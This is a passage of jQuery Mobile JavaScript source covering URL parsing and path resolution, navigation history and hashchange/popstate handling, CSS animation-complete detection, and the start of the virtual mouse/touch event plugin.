"hashchange"; $win.bind( "hashchange.navigate", self.hashchange ); } } }; })( jQuery ); (function( $, undefined ) { var path, $base, dialogHashKey = "&ui-state=dialog"; $.mobile.path = path = { uiStateKey: "&ui-state", // This scary looking regular expression parses an absolute URL or its relative // variants (protocol, site, document, query, and hash), into the various // components (protocol, host, path, query, fragment, etc that make up the // URL as well as some other commonly used sub-parts. When used with RegExp.exec() // or String.match, it parses the URL into a results array that looks like this: // // [0]: http://jblas:password@mycompany.com:8080/mail/inbox?msg=1234&type=unread#msg-content // [1]: http://jblas:password@mycompany.com:8080/mail/inbox?msg=1234&type=unread // [2]: http://jblas:password@mycompany.com:8080/mail/inbox // [3]: http://jblas:password@mycompany.com:8080 // [4]: http: // [5]: // // [6]: jblas:password@mycompany.com:8080 // [7]: jblas:password // [8]: jblas // [9]: password // [10]: mycompany.com:8080 // [11]: mycompany.com // [12]: 8080 // [13]: /mail/inbox // [14]: /mail/ // [15]: inbox // [16]: ?msg=1234&type=unread // [17]: #msg-content // urlParseRE: /^\s*(((([^:\/#\?]+:)?(?:(\/\/)((?:(([^:@\/#\?]+)(?:\:([^:@\/#\?]+))?)@)?(([^:\/#\?\]\[]+|\[[^\/\]@#?]+\])(?:\:([0-9]+))?))?)?)?((\/?(?:[^\/\?#]+\/+)*)([^\?#]*)))?(\?[^#]+)?)(#.*)?/, // Abstraction to address xss (Issue #4787) by removing the authority in // browsers that auto-decode it. All references to location.href should be // replaced with a call to this method so that it can be dealt with properly here getLocation: function( url ) { var parsedUrl = this.parseUrl( url || location.href ), uri = url ? parsedUrl : location, // Make sure to parse the url or the location object for the hash because using // location.hash is autodecoded in firefox, the rest of the url should be from // the object (location unless we're testing) to avoid the inclusion of the // authority hash = parsedUrl.hash; // mimic the browser with an empty string when the hash is empty hash = hash === "#" ? "" : hash; return uri.protocol + parsedUrl.doubleSlash + uri.host + // The pathname must start with a slash if there's a protocol, because you // can't have a protocol followed by a relative path. Also, it's impossible to // calculate absolute URLs from relative ones if the absolute one doesn't have // a leading "/". ( ( uri.protocol !== "" && uri.pathname.substring( 0, 1 ) !== "/" ) ? "/" : "" ) + uri.pathname + uri.search + hash; }, //return the original document url getDocumentUrl: function( asParsedObject ) { return asParsedObject ? $.extend( {}, path.documentUrl ) : path.documentUrl.href; }, parseLocation: function() { return this.parseUrl( this.getLocation() ); }, //Parse a URL into a structure that allows easy access to //all of the URL components by name. parseUrl: function( url ) { // If we're passed an object, we'll assume that it is // a parsed url object and just return it back to the caller. if ( $.type( url ) === "object" ) { return url; } var matches = path.urlParseRE.exec( url || "" ) || []; // Create an object that allows the caller to access the sub-matches // by name. Note that IE returns an empty string instead of undefined, // like all other browsers do, so we normalize everything so its consistent // no matter what browser we're running on. return { href: matches[ 0 ] || "", hrefNoHash: matches[ 1 ] || "", hrefNoSearch: matches[ 2 ] || "", domain: matches[ 3 ] || "", protocol: matches[ 4 ] || "", doubleSlash: matches[ 5 ] || "", authority: matches[ 6 ] || "", username: matches[ 8 ] || "", password: matches[ 9 ] || "", host: matches[ 10 ] || "", hostname: matches[ 11 ] || "", port: matches[ 12 ] || "", pathname: matches[ 13 ] || "", directory: matches[ 14 ] || "", filename: matches[ 15 ] || "", search: matches[ 16 ] || "", hash: matches[ 17 ] || "" }; }, //Turn relPath into an asbolute path. absPath is //an optional absolute path which describes what //relPath is relative to. makePathAbsolute: function( relPath, absPath ) { var absStack, relStack, i, d; if ( relPath && relPath.charAt( 0 ) === "/" ) { return relPath; } relPath = relPath || ""; absPath = absPath ? absPath.replace( /^\/|(\/[^\/]*|[^\/]+)$/g, "" ) : ""; absStack = absPath ? absPath.split( "/" ) : []; relStack = relPath.split( "/" ); for ( i = 0; i < relStack.length; i++ ) { d = relStack[ i ]; switch ( d ) { case ".": break; case "..": if ( absStack.length ) { absStack.pop(); } break; default: absStack.push( d ); break; } } return "/" + absStack.join( "/" ); }, //Returns true if both urls have the same domain. isSameDomain: function( absUrl1, absUrl2 ) { return path.parseUrl( absUrl1 ).domain.toLowerCase() === path.parseUrl( absUrl2 ).domain.toLowerCase(); }, //Returns true for any relative variant. isRelativeUrl: function( url ) { // All relative Url variants have one thing in common, no protocol. return path.parseUrl( url ).protocol === ""; }, //Returns true for an absolute url. isAbsoluteUrl: function( url ) { return path.parseUrl( url ).protocol !== ""; }, //Turn the specified realtive URL into an absolute one. This function //can handle all relative variants (protocol, site, document, query, fragment). makeUrlAbsolute: function( relUrl, absUrl ) { if ( !path.isRelativeUrl( relUrl ) ) { return relUrl; } if ( absUrl === undefined ) { absUrl = this.documentBase; } var relObj = path.parseUrl( relUrl ), absObj = path.parseUrl( absUrl ), protocol = relObj.protocol || absObj.protocol, doubleSlash = relObj.protocol ? relObj.doubleSlash : ( relObj.doubleSlash || absObj.doubleSlash ), authority = relObj.authority || absObj.authority, hasPath = relObj.pathname !== "", pathname = path.makePathAbsolute( relObj.pathname || absObj.filename, absObj.pathname ), search = relObj.search || ( !hasPath && absObj.search ) || "", hash = relObj.hash; return protocol + doubleSlash + authority + pathname + search + hash; }, //Add search (aka query) params to the specified url. addSearchParams: function( url, params ) { var u = path.parseUrl( url ), p = ( typeof params === "object" ) ? $.param( params ) : params, s = u.search || "?"; return u.hrefNoSearch + s + ( s.charAt( s.length - 1 ) !== "?" ? "&" : "" ) + p + ( u.hash || "" ); }, convertUrlToDataUrl: function( absUrl ) { var result = absUrl, u = path.parseUrl( absUrl ); if ( path.isEmbeddedPage( u ) ) { // For embedded pages, remove the dialog hash key as in getFilePath(), // and remove otherwise the Data Url won't match the id of the embedded Page. result = u.hash .split( dialogHashKey )[0] .replace( /^#/, "" ) .replace( /\?.*$/, "" ); } else if ( path.isSameDomain( u, this.documentBase ) ) { result = u.hrefNoHash.replace( this.documentBase.domain, "" ).split( dialogHashKey )[0]; } return window.decodeURIComponent( result ); }, //get path from current hash, or from a file path get: function( newPath ) { if ( newPath === undefined ) { newPath = path.parseLocation().hash; } return path.stripHash( newPath ).replace( /[^\/]*\.[^\/*]+$/, "" ); }, //set location hash to path set: function( path ) { location.hash = path; }, //test if a given url (string) is a path //NOTE might be exceptionally naive isPath: function( url ) { return ( /\// ).test( url ); }, //return a url path with the window's location protocol/hostname/pathname removed clean: function( url ) { return url.replace( this.documentBase.domain, "" ); }, //just return the url without an initial # stripHash: function( url ) { return url.replace( /^#/, "" ); }, stripQueryParams: function( url ) { return url.replace( /\?.*$/, "" ); }, //remove the preceding hash, any query params, and dialog notations cleanHash: function( hash ) { return path.stripHash( hash.replace( /\?.*$/, "" ).replace( dialogHashKey, "" ) ); }, isHashValid: function( hash ) { return ( /^#[^#]+$/ ).test( hash ); }, //check whether a url is referencing the same domain, or an external domain or different protocol //could be mailto, etc isExternal: function( url ) { var u = path.parseUrl( url ); return !!( u.protocol && ( u.domain.toLowerCase() !== this.documentUrl.domain.toLowerCase() ) ); }, hasProtocol: function( url ) { return ( /^(:?\w+:)/ ).test( url ); }, isEmbeddedPage: function( url ) { var u = path.parseUrl( url ); //if the path is absolute, then we need to compare the url against //both the this.documentUrl and the documentBase. The main reason for this //is that links embedded within external documents will refer to the //application document, whereas links embedded within the application //document will be resolved against the document base. if ( u.protocol !== "" ) { return ( !this.isPath(u.hash) && u.hash && ( u.hrefNoHash === this.documentUrl.hrefNoHash || ( this.documentBaseDiffers && u.hrefNoHash === this.documentBase.hrefNoHash ) ) ); } return ( /^#/ ).test( u.href ); }, squash: function( url, resolutionUrl ) { var href, cleanedUrl, search, stateIndex, docUrl, isPath = this.isPath( url ), uri = this.parseUrl( url ), preservedHash = uri.hash, uiState = ""; // produce a url against which we can resolve the provided path if ( !resolutionUrl ) { if ( isPath ) { resolutionUrl = path.getLocation(); } else { docUrl = path.getDocumentUrl( true ); if ( path.isPath( docUrl.hash ) ) { resolutionUrl = path.squash( docUrl.href ); } else { resolutionUrl = docUrl.href; } } } // If the url is anything but a simple string, remove any preceding hash // eg #foo/bar -> foo/bar // #foo -> #foo cleanedUrl = isPath ? path.stripHash( url ) : url; // If the url is a full url with a hash check if the parsed hash is a path // if it is, strip the #, and use it otherwise continue without change cleanedUrl = path.isPath( uri.hash ) ? path.stripHash( uri.hash ) : cleanedUrl; // Split the UI State keys off the href stateIndex = cleanedUrl.indexOf( this.uiStateKey ); // store the ui state keys for use if ( stateIndex > -1 ) { uiState = cleanedUrl.slice( stateIndex ); cleanedUrl = cleanedUrl.slice( 0, stateIndex ); } // make the cleanedUrl absolute relative to the resolution url href = path.makeUrlAbsolute( cleanedUrl, resolutionUrl ); // grab the search from the resolved url since parsing from // the passed url may not yield the correct result search = this.parseUrl( href ).search; // TODO all this crap is terrible, clean it up if ( isPath ) { // reject the hash if it's a path or it's just a dialog key if ( path.isPath( preservedHash ) || preservedHash.replace("#", "").indexOf( this.uiStateKey ) === 0) { preservedHash = ""; } // Append the UI State keys where it exists and it's been removed // from the url if ( uiState && preservedHash.indexOf( this.uiStateKey ) === -1) { preservedHash += uiState; } // make sure that pound is on the front of the hash if ( preservedHash.indexOf( "#" ) === -1 && preservedHash !== "" ) { preservedHash = "#" + preservedHash; } // reconstruct each of the pieces with the new search string and hash href = path.parseUrl( href ); href = href.protocol + href.doubleSlash + href.host + href.pathname + search + preservedHash; } else { href += href.indexOf( "#" ) > -1 ? uiState : "#" + uiState; } return href; }, isPreservableHash: function( hash ) { return hash.replace( "#", "" ).indexOf( this.uiStateKey ) === 0; }, // Escape weird characters in the hash if it is to be used as a selector hashToSelector: function( hash ) { var hasHash = ( hash.substring( 0, 1 ) === "#" ); if ( hasHash ) { hash = hash.substring( 1 ); } return ( hasHash ? "#" : "" ) + hash.replace( /([!"#$%&'()*+,./:;<=>?@[\]^`{|}~])/g, "\\$1" ); }, // return the substring of a filepath before the dialogHashKey, for making a server // request getFilePath: function( path ) { return path && path.split( dialogHashKey )[0]; }, // check if the specified url refers to the first page in the main // application document. isFirstPageUrl: function( url ) { // We only deal with absolute paths. var u = path.parseUrl( path.makeUrlAbsolute( url, this.documentBase ) ), // Does the url have the same path as the document? samePath = u.hrefNoHash === this.documentUrl.hrefNoHash || ( this.documentBaseDiffers && u.hrefNoHash === this.documentBase.hrefNoHash ), // Get the first page element. fp = $.mobile.firstPage, // Get the id of the first page element if it has one. fpId = fp && fp[0] ? fp[0].id : undefined; // The url refers to the first page if the path matches the document and // it either has no hash value, or the hash is exactly equal to the id // of the first page element. return samePath && ( !u.hash || u.hash === "#" || ( fpId && u.hash.replace( /^#/, "" ) === fpId ) ); }, // Some embedded browsers, like the web view in Phone Gap, allow // cross-domain XHR requests if the document doing the request was loaded // via the file:// protocol. This is usually to allow the application to // "phone home" and fetch app specific data. We normally let the browser // handle external/cross-domain urls, but if the allowCrossDomainPages // option is true, we will allow cross-domain http/https requests to go // through our page loading logic. isPermittedCrossDomainRequest: function( docUrl, reqUrl ) { return $.mobile.allowCrossDomainPages && (docUrl.protocol === "file:" || docUrl.protocol === "content:") && reqUrl.search( /^https?:/ ) !== -1; } }; path.documentUrl = path.parseLocation(); $base = $( "head" ).find( "base" ); path.documentBase = $base.length ? path.parseUrl( path.makeUrlAbsolute( $base.attr( "href" ), path.documentUrl.href ) ) : path.documentUrl; path.documentBaseDiffers = (path.documentUrl.hrefNoHash !== path.documentBase.hrefNoHash); //return the original document base url path.getDocumentBase = function( asParsedObject ) { return asParsedObject ? $.extend( {}, path.documentBase ) : path.documentBase.href; }; // DEPRECATED as of 1.4.0 - remove in 1.5.0 $.extend( $.mobile, { //return the original document url getDocumentUrl: path.getDocumentUrl, //return the original document base url getDocumentBase: path.getDocumentBase }); })( jQuery ); (function( $, undefined ) { $.mobile.History = function( stack, index ) { this.stack = stack || []; this.activeIndex = index || 0; }; $.extend($.mobile.History.prototype, { getActive: function() { return this.stack[ this.activeIndex ]; }, getLast: function() { return this.stack[ this.previousIndex ]; }, getNext: function() { return this.stack[ this.activeIndex + 1 ]; }, getPrev: function() { return this.stack[ this.activeIndex - 1 ]; }, // addNew is used whenever a new page is added add: function( url, data ) { data = data || {}; //if there's forward history, wipe it if ( this.getNext() ) { this.clearForward(); } // if the hash is included in the data make sure the shape // is consistent for comparison if ( data.hash && data.hash.indexOf( "#" ) === -1) { data.hash = "#" + data.hash; } data.url = url; this.stack.push( data ); this.activeIndex = this.stack.length - 1; }, //wipe urls ahead of active index clearForward: function() { this.stack = this.stack.slice( 0, this.activeIndex + 1 ); }, find: function( url, stack, earlyReturn ) { stack = stack || this.stack; var entry, i, length = stack.length, index; for ( i = 0; i < length; i++ ) { entry = stack[i]; if ( decodeURIComponent(url) === decodeURIComponent(entry.url) || decodeURIComponent(url) === decodeURIComponent(entry.hash) ) { index = i; if ( earlyReturn ) { return index; } } } return index; }, closest: function( url ) { var closest, a = this.activeIndex; // First, take the slice of the history stack before the current index and search // for a url match. If one is found, we'll avoid avoid looking through forward history // NOTE the preference for backward history movement is driven by the fact that // most mobile browsers only have a dedicated back button, and users rarely use // the forward button in desktop browser anyhow closest = this.find( url, this.stack.slice(0, a) ); // If nothing was found in backward history check forward. The `true` // value passed as the third parameter causes the find method to break // on the first match in the forward history slice. The starting index // of the slice must then be added to the result to get the element index // in the original history stack :( :( // // TODO this is hyper confusing and should be cleaned up (ugh so bad) if ( closest === undefined ) { closest = this.find( url, this.stack.slice(a), true ); closest = closest === undefined ? closest : closest + a; } return closest; }, direct: function( opts ) { var newActiveIndex = this.closest( opts.url ), a = this.activeIndex; // save new page index, null check to prevent falsey 0 result // record the previous index for reference if ( newActiveIndex !== undefined ) { this.activeIndex = newActiveIndex; this.previousIndex = a; } // invoke callbacks where appropriate // // TODO this is also convoluted and confusing if ( newActiveIndex < a ) { ( opts.present || opts.back || $.noop )( this.getActive(), "back" ); } else if ( newActiveIndex > a ) { ( opts.present || opts.forward || $.noop )( this.getActive(), "forward" ); } else if ( newActiveIndex === undefined && opts.missing ) { opts.missing( this.getActive() ); } } }); })( jQuery ); (function( $, undefined ) { var path = $.mobile.path, initialHref = location.href; $.mobile.Navigator = function( history ) { this.history = history; this.ignoreInitialHashChange = true; $.mobile.window.bind({ "popstate.history": $.proxy( this.popstate, this ), "hashchange.history": $.proxy( this.hashchange, this ) }); }; $.extend($.mobile.Navigator.prototype, { squash: function( url, data ) { var state, href, hash = path.isPath(url) ? path.stripHash(url) : url; href = path.squash( url ); // make sure to provide this information when it isn't explicitly set in the // data object that was passed to the squash method state = $.extend({ hash: hash, url: href }, data); // replace the current url with the new href and store the state // Note that in some cases we might be replacing an url with the // same url. We do this anyways because we need to make sure that // all of our history entries have a state object associated with // them. This allows us to work around the case where $.mobile.back() // is called to transition from an external page to an embedded page. // In that particular case, a hashchange event is *NOT* generated by the browser. // Ensuring each history entry has a state object means that onPopState() // will always trigger our hashchange callback even when a hashchange event // is not fired. window.history.replaceState( state, state.title || document.title, href ); return state; }, hash: function( url, href ) { var parsed, loc, hash, resolved; // Grab the hash for recording. If the passed url is a path // we used the parsed version of the squashed url to reconstruct, // otherwise we assume it's a hash and store it directly parsed = path.parseUrl( url ); loc = path.parseLocation(); if ( loc.pathname + loc.search === parsed.pathname + parsed.search ) { // If the pathname and search of the passed url is identical to the current loc // then we must use the hash. Otherwise there will be no event // eg, url = "/foo/bar?baz#bang", location.href = "http://example.com/foo/bar?baz" hash = parsed.hash ? parsed.hash : parsed.pathname + parsed.search; } else if ( path.isPath(url) ) { resolved = path.parseUrl( href ); // If the passed url is a path, make it domain relative and remove any trailing hash hash = resolved.pathname + resolved.search + (path.isPreservableHash( resolved.hash )? resolved.hash.replace( "#", "" ) : ""); } else { hash = url; } return hash; }, // TODO reconsider name go: function( url, data, noEvents ) { var state, href, hash, popstateEvent, isPopStateEvent = $.event.special.navigate.isPushStateEnabled(); // Get the url as it would look squashed on to the current resolution url href = path.squash( url ); // sort out what the hash sould be from the url hash = this.hash( url, href ); // Here we prevent the next hash change or popstate event from doing any // history management. In the case of hashchange we don't swallow it // if there will be no hashchange fired (since that won't reset the value) // and will swallow the following hashchange if ( noEvents && hash !== path.stripHash(path.parseLocation().hash) ) { this.preventNextHashChange = noEvents; } // IMPORTANT in the case where popstate is supported the event will be triggered // directly, stopping further execution - ie, interupting the flow of this // method call to fire bindings at this expression. Below the navigate method // there is a binding to catch this event and stop its propagation. // // We then trigger a new popstate event on the window with a null state // so that the navigate events can conclude their work properly // // if the url is a path we want to preserve the query params that are available on // the current url. this.preventHashAssignPopState = true; window.location.hash = hash; // If popstate is enabled and the browser triggers `popstate` events when the hash // is set (this often happens immediately in browsers like Chrome), then the // this flag will be set to false already. If it's a browser that does not trigger // a `popstate` on hash assignement or `replaceState` then we need avoid the branch // that swallows the event created by the popstate generated by the hash assignment // At the time of this writing this happens with Opera 12 and some version of IE this.preventHashAssignPopState = false; state = $.extend({ url: href, hash: hash, title: document.title }, data); if ( isPopStateEvent ) { popstateEvent = new $.Event( "popstate" ); popstateEvent.originalEvent = { type: "popstate", state: null }; this.squash( url, state ); // Trigger a new faux popstate event to replace the one that we // caught that was triggered by the hash setting above. if ( !noEvents ) { this.ignorePopState = true; $.mobile.window.trigger( popstateEvent ); } } // record the history entry so that the information can be included // in hashchange event driven navigate events in a similar fashion to // the state that's provided by popstate this.history.add( state.url, state ); }, // This binding is intended to catch the popstate events that are fired // when execution of the `$.navigate` method stops at window.location.hash = url; // and completely prevent them from propagating. The popstate event will then be // retriggered after execution resumes // // TODO grab the original event here and use it for the synthetic event in the // second half of the navigate execution that will follow this binding popstate: function( event ) { var hash, state; // Partly to support our test suite which manually alters the support // value to test hashchange. Partly to prevent all around weirdness if ( !$.event.special.navigate.isPushStateEnabled() ) { return; } // If this is the popstate triggered by the actual alteration of the hash // prevent it completely. History is tracked manually if ( this.preventHashAssignPopState ) { this.preventHashAssignPopState = false; event.stopImmediatePropagation(); return; } // if this is the popstate triggered after the `replaceState` call in the go // method, then simply ignore it. The history entry has already been captured if ( this.ignorePopState ) { this.ignorePopState = false; return; } // If there is no state, and the history stack length is one were // probably getting the page load popstate fired by browsers like chrome // avoid it and set the one time flag to false. // TODO: Do we really need all these conditions? Comparing location hrefs // should be sufficient. if ( !event.originalEvent.state && this.history.stack.length === 1 && this.ignoreInitialHashChange ) { this.ignoreInitialHashChange = false; if ( location.href === initialHref ) { event.preventDefault(); return; } } // account for direct manipulation of the hash. That is, we will receive a popstate // when the hash is changed by assignment, and it won't have a state associated. We // then need to squash the hash. See below for handling of hash assignment that // matches an existing history entry // TODO it might be better to only add to the history stack // when the hash is adjacent to the active history entry hash = path.parseLocation().hash; if ( !event.originalEvent.state && hash ) { // squash the hash that's been assigned on the URL with replaceState // also grab the resulting state object for storage state = this.squash( hash ); // record the new hash as an additional history entry // to match the browser's treatment of hash assignment this.history.add( state.url, state ); // pass the newly created state information // along with the event event.historyState = state; // do not alter history, we've added a new history entry // so we know where we are return; } // If all else fails this is a popstate that comes from the back or forward buttons // make sure to set the state of our history stack properly, and record the directionality this.history.direct({ url: (event.originalEvent.state || {}).url || hash, // When the url is either forward or backward in history include the entry // as data on the event object for merging as data in the navigate event present: function( historyEntry, direction ) { // make sure to create a new object to pass down as the navigate event data event.historyState = $.extend({}, historyEntry); event.historyState.direction = direction; } }); }, // NOTE must bind before `navigate` special event hashchange binding otherwise the // navigation data won't be attached to the hashchange event in time for those // bindings to attach it to the `navigate` special event // TODO add a check here that `hashchange.navigate` is bound already otherwise it's // broken (exception?) hashchange: function( event ) { var history, hash; // If hashchange listening is explicitly disabled or pushstate is supported // avoid making use of the hashchange handler. if (!$.event.special.navigate.isHashChangeEnabled() || $.event.special.navigate.isPushStateEnabled() ) { return; } // On occasion explicitly want to prevent the next hash from propogating because we only // with to alter the url to represent the new state do so here if ( this.preventNextHashChange ) { this.preventNextHashChange = false; event.stopImmediatePropagation(); return; } history = this.history; hash = path.parseLocation().hash; // If this is a hashchange caused by the back or forward button // make sure to set the state of our history stack properly this.history.direct({ url: hash, // When the url is either forward or backward in history include the entry // as data on the event object for merging as data in the navigate event present: function( historyEntry, direction ) { // make sure to create a new object to pass down as the navigate event data event.hashchangeState = $.extend({}, historyEntry); event.hashchangeState.direction = direction; }, // When we don't find a hash in our history clearly we're aiming to go there // record the entry as new for future traversal // // NOTE it's not entirely clear that this is the right thing to do given that we // can't know the users intention. It might be better to explicitly _not_ // support location.hash assignment in preference to $.navigate calls // TODO first arg to add should be the href, but it causes issues in identifying // embeded pages missing: function() { history.add( hash, { hash: hash, title: document.title }); } }); } }); })( jQuery ); (function( $, undefined ) { // TODO consider queueing navigation activity until previous activities have completed // so that end users don't have to think about it. Punting for now // TODO !! move the event bindings into callbacks on the navigate event $.mobile.navigate = function( url, data, noEvents ) { $.mobile.navigate.navigator.go( url, data, noEvents ); }; // expose the history on the navigate method in anticipation of full integration with // existing navigation functionalty that is tightly coupled to the history information $.mobile.navigate.history = new $.mobile.History(); // instantiate an instance of the navigator for use within the $.navigate method $.mobile.navigate.navigator = new $.mobile.Navigator( $.mobile.navigate.history ); var loc = $.mobile.path.parseLocation(); $.mobile.navigate.history.add( loc.href, {hash: loc.hash} ); })( jQuery ); (function( $, undefined ) { var props = { "animation": {}, "transition": {} }, testElement = document.createElement( "a" ), vendorPrefixes = [ "", "webkit-", "moz-", "o-" ]; $.each( [ "animation", "transition" ], function( i, test ) { // Get correct name for test var testName = ( i === 0 ) ? test + "-" + "name" : test; $.each( vendorPrefixes, function( j, prefix ) { if ( testElement.style[ $.camelCase( prefix + testName ) ] !== undefined ) { props[ test ][ "prefix" ] = prefix; return false; } }); // Set event and duration names for later use props[ test ][ "duration" ] = $.camelCase( props[ test ][ "prefix" ] + test + "-" + "duration" ); props[ test ][ "event" ] = $.camelCase( props[ test ][ "prefix" ] + test + "-" + "end" ); // All lower case if not a vendor prop if ( props[ test ][ "prefix" ] === "" ) { props[ test ][ "event" ] = props[ test ][ "event" ].toLowerCase(); } }); // If a valid prefix was found then the it is supported by the browser $.support.cssTransitions = ( props[ "transition" ][ "prefix" ] !== undefined ); $.support.cssAnimations = ( props[ "animation" ][ "prefix" ] !== undefined ); // Remove the testElement $( testElement ).remove(); // Animation complete callback $.fn.animationComplete = function( callback, type, fallbackTime ) { var timer, duration, that = this, eventBinding = function() { // Clear the timer so we don't call callback twice clearTimeout( timer ); callback.apply( this, arguments ); }, animationType = ( !type || type === "animation" ) ? "animation" : "transition"; // Make sure selected type is supported by browser if ( ( $.support.cssTransitions && animationType === "transition" ) || ( $.support.cssAnimations && animationType === "animation" ) ) { // If a fallback time was not passed set one if ( fallbackTime === undefined ) { // Make sure the was not bound to document before checking .css if ( $( this ).context !== document ) { // Parse the durration since its in second multiple by 1000 for milliseconds // Multiply by 3 to make sure we give the animation plenty of time. duration = parseFloat( $( this ).css( props[ animationType ].duration ) ) * 3000; } // If we could not read a duration use the default if ( duration === 0 || duration === undefined || isNaN( duration ) ) { duration = $.fn.animationComplete.defaultDuration; } } // Sets up the fallback if event never comes timer = setTimeout( function() { $( that ).off( props[ animationType ].event, eventBinding ); callback.apply( that ); }, duration ); // Bind the event return $( this ).one( props[ animationType ].event, eventBinding ); } else { // CSS animation / transitions not supported // Defer execution for consistency between webkit/non webkit setTimeout( $.proxy( callback, this ), 0 ); return $( this ); } }; // Allow default callback to be configured on mobileInit $.fn.animationComplete.defaultDuration = 1000; })( jQuery ); // This plugin is an experiment for abstracting away the touch and mouse // events so that developers don't have to worry about which method of input // the device their document is loaded on supports. // // The idea here is to allow the developer to register listeners for the // basic mouse events, such as mousedown, mousemove, mouseup, and click, // and the plugin will take care of registering the correct listeners // behind the scenes to invoke the listener at the fastest possible time // for that device, while still retaining the order of event firing in // the traditional mouse environment, should multiple handlers be registered // on the same element for different events. // // The current version exposes the following virtual events to jQuery bind methods: // "vmouseover vmousedown vmousemove vmouseup vclick vmouseout vmousecancel" (function( $, window, document, undefined ) { var dataPropertyName = "virtualMouseBindings", touchTargetPropertyName = "virtualTouchID", virtualEventNames = "vmouseover vmousedown vmousemove vmouseup vclick vmouseout vmousecancel".split( " " ), touchEventProps = "clientX clientY pageX pageY screenX screenY".split( " " ), mouseHookProps = $.event.mouseHooks ? $.event.mouseHooks.props : [], mouseEventProps = $.event.props.concat( mouseHookProps ), activeDocHandlers = {}, resetTimerID = 0, startX = 0, startY = 0, didScroll = false, clickBlockList = [], blockMouseTriggers = false, blockTouchTriggers = false, eventCaptureSupported = "addEventListener" in document, $document = $( document ), nextTouchID = 1, lastTouchID = 0, threshold, i; $.vmouse = { moveDistanceThreshold: 10, clickDistanceThreshold: 10, resetTimerDuration: 1500 }; function getNativeEvent( event ) { while ( event && typeof event.originalEvent !== "undefined" ) { event = event.originalEvent; } return event; } function createVirtualEvent( event, eventType ) { var t = event.type, oe, props, ne, prop, ct, touch, i, j, len; event = $.Event( event ); event.type = eventType; oe = event.originalEvent; props = $.event.props; // addresses separation of $.event.props in to $.event.mouseHook.props and Issue 3280 // https://github.com/jquery/jquery-mobile/issues/3280 if ( t.search( /^(mouse|click)/ ) > -1 ) { props = mouseEventProps; } // copy original event properties over to the new event // this would happen if we could call $.event.fix instead of $.Event // but we don't have a way to force an event to be fixed multiple times if ( oe ) { for ( i = props.length, prop; i; ) { prop = props[ --i ]; event[ prop ] = oe[ prop ]; } } // make sure that if the mouse and click virtual events are generated // without a .which one is defined if ( t.search(/mouse(down|up)|click/) > -1 && !event.which ) { event.which = 1; } if ( t.search(/^touch/) !== -1 ) { ne = getNativeEvent( oe ); t = ne.touches; ct = ne.changedTouches; touch = ( t && t.length ) ? t[0] : ( ( ct && ct.length ) ? ct[ 0 ] : undefined ); if ( touch ) { for ( j = 0, len = touchEventProps.length; j < len; j++) { prop = touchEventProps[ j ]; event[ prop ] = touch[ prop ]; } } } return event; } function getVirtualBindingFlags( element ) { var flags = {}, b, k; while ( element ) { b = $.data( element, dataPropertyName ); for ( k in b ) { if ( b[ k ] ) { flags[ k ] = flags.hasVirtualBinding = true; } } element = element.parentNode; } return flags; } function getClosestElementWithVirtualBinding( element, eventType ) { var b; while ( element ) { b = $.data( element, dataPropertyName ); if ( b && ( !eventType || b[ eventType ] ) ) { return element; } element = element.parentNode; } return null; } function enableTouchBindings() { blockTouchTriggers = false; } function disableTouchBindings() { blockTouchTriggers = true; } function enableMouseBindings() { lastTouchID = 0; clickBlockList.length = 0; blockMouseTriggers = false; // When mouse bindings are enabled, our // touch bindings are disabled. disableTouchBindings(); } function disableMouseBindings() { // When mouse bindings are disabled, our // touch bindings are enabled. enableTouchBindings(); } function startResetTimer() { clearResetTimer(); resetTimerID = setTimeout( function() { resetTimerID = 0; enableMouseBindings(); }, $.vmouse.resetTimerDuration ); } function clearResetTimer() { if ( resetTimerID ) { clearTimeout( resetTimerID ); resetTimerID = 0; } } function triggerVirtualEvent( eventType, event, flags ) { var ve; if ( ( flags && flags[ eventType ] ) || ( !flags && getClosestElementWithVirtualBinding( event.target, eventType ) ) ) { ve = createVirtualEvent( event, eventType ); $( event.target).trigger( ve ); } return ve; } function mouseEventCallback( event ) { var touchID = $.data( event.target, touchTargetPropertyName ), ve; if ( !blockMouseTriggers && ( !lastTouchID || lastTouchID !== touchID ) ) { ve = triggerVirtualEvent( "v" + event.type, event ); if ( ve ) { if ( ve.isDefaultPrevented() ) { event.preventDefault(); } if ( ve.isPropagationStopped() ) { event.stopPropagation(); } if ( ve.isImmediatePropagationStopped() ) { event.stopImmediatePropagation(); } } } } function handleTouchStart( event ) { var touches = getNativeEvent( event ).touches, target, flags, t; if ( touches && touches.length === 1 ) { target = event.target; flags = getVirtualBindingFlags( target ); if ( flags.hasVirtualBinding ) { lastTouchID = nextTouchID++; $.data( target, touchTargetPropertyName, lastTouchID ); clearResetTimer(); disableMouseBindings(); didScroll = false; t = getNativeEvent( event ).touches[ 0 ]; startX = t.pageX; startY = t.pageY; triggerVirtualEvent( "vmouseover", event, flags ); triggerVirtualEvent( "vmousedown", event, flags ); } } } function handleScroll( event ) { if ( blockTouchTriggers ) { return; } if ( !didScroll ) { triggerVirtualEvent( "vmousecancel", event, getVirtualBindingFlags( event.target ) ); } didScroll = true; startResetTimer(); } function handleTouchMove( event ) { if ( blockTouchTriggers ) { return; } var t = getNativeEvent( event ).touches[ 0 ], didCancel = didScroll, moveThreshold = $.vmouse.moveDistanceThreshold, flags = getVirtualBindingFlags( event.target ); didScroll = didScroll || ( Math.abs( t.pageX - startX ) > moveThreshold || Math.abs( t.pageY - startY ) > moveThreshold ); if ( didScroll && !didCancel ) { triggerVirtualEvent( "vmousecancel", event, flags ); } triggerVirtualEvent( "vmousemove", event, flags ); startResetTimer(); } function handleTouchEnd( event ) { if ( blockTouchTriggers ) { return; } disableTouchBindings(); var flags = getVirtualBindingFlags( event.target ), ve, t; triggerVirtualEvent( "vmouseup", event, flags ); if ( !didScroll ) { ve = triggerVirtualEvent( "vclick", event, flags ); if ( ve && ve.isDefaultPrevented() ) { // The target of the mouse events that follow the touchend // event don't necessarily match the target used during the // touch. This means we need to rely on coordinates for blocking // any click that is generated. t = getNativeEvent( event ).changedTouches[ 0 ]; clickBlockList.push({ touchID: lastTouchID, x: t.clientX, y: t.clientY }); // Prevent any mouse events that follow from triggering // virtual event notifications. blockMouseTriggers = true; } } triggerVirtualEvent( "vmouseout", event, flags); didScroll = false; startResetTimer(); } function hasVirtualBindings( ele ) { var bindings = $.data( ele, dataPropertyName ), k; if ( bindings ) { for ( k in bindings ) { if ( bindings[ k ] ) { return true; } } } return false; } function dummyMouseHandler() {} function getSpecialEventObject( eventType ) { var realType = eventType.substr( 1 ); return { setup: function(/* data, namespace */) { // If this is the first virtual mouse binding for this element, // add a bindings object to its data. if ( !hasVirtualBindings( this ) ) { $.data( this, dataPropertyName, {} ); } // If setup is called, we know it is the first binding for this // 